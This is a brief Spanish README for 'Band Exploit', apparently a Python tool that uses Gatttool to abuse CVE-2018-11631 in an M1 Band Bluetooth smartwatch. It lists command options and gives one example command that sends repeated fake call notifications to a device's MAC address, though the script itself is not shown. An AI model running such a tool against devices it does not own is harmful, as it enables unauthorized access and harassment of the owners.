Band Exploit (CVE-2018-11631)

Un script Python simple que utiliza Gatttool para explotar un reloj inteligente Bluetooth Low Energy inseguro ( M1 Band 1).

CVE-2018-11631 : https://nvd.nist.gov/vuln/detail/CVE-2018-11631

Uso: bandexploit.py [opciones] Dirección

Opciones:

-h, --help muestra este mensaje de ayuda y sale

-s, --sms Enviar notificación SMS al dispositivo

-c, --call Enviar notificación de llamada al dispositivo

-r REPEAT, --repeat=REPEAT Número de repeticiones

-m MESSAGE, --message=MESSAGE Mensaje de notificación a enviar. Max_LEN = 8

Ejemplo: Enviar 15 notificaciones de llamada con el mensaje xMagass

  ./bandexploit.py 78:02:b7:21:1d:fc -r 15 -m xMagass -c